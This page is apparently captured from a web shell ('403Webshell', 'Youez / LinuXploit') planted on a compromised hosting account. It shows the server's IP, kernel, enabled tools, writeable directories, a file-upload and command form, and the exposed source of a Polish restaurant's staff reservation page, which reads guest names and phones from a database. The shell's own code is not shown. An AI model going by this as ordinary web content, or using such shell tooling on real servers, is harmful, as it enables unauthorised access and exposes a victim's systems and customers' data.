403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/pracownik/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/pracownik/rezerwacje.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';$user=require_staff_portal();if($user['role']!=='waiter'){http_response_code(403);exit('Rezerwacje są dostępne dla kelnerów.');}ensure_reservations_schema();$stmt=db()->query("SELECT * FROM reservations WHERE reservation_date BETWEEN CURDATE() AND DATE_ADD(CURDATE(),INTERVAL 14 DAY) AND status NOT IN ('rejected','cancelled') ORDER BY reservation_date,reservation_time LIMIT 200");$rows=$stmt->fetchAll();render_staff_header('Rezerwacje','reservations'); ?>
<div class="staff-title"><div><h1>Rezerwacje</h1><p>Najbliższe 14 dni</p></div></div>
<section class="staff-section"><?php if(!$rows): ?><div class="staff-empty">Brak nadchodzących rezerwacji.</div><?php endif; ?><?php $last='';foreach($rows as $r):$day=(string)$r['reservation_date'];if($day!==$last):$last=$day; ?><h2 class="staff-day-heading"><?= e((new DateTimeImmutable($day))->format('d.m.Y')) ?></h2><?php endif; ?><article class="staff-reservation"><time><?= e(substr((string)$r['reservation_time'],0,5)) ?></time><div><strong><?= e($r['guest_name']) ?></strong><small><?= (int)$r['guests'] ?> os. · <?= e(reservation_status_label((string)$r['status'])) ?></small><?php if($r['phone']): ?><a href="tel:<?= e(preg_replace('/\s+/','',(string)$r['phone'])) ?>"><?= e($r['phone']) ?></a><?php endif; ?></div></article><?php endforeach; ?></section>
<?php render_staff_footer('reservations'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit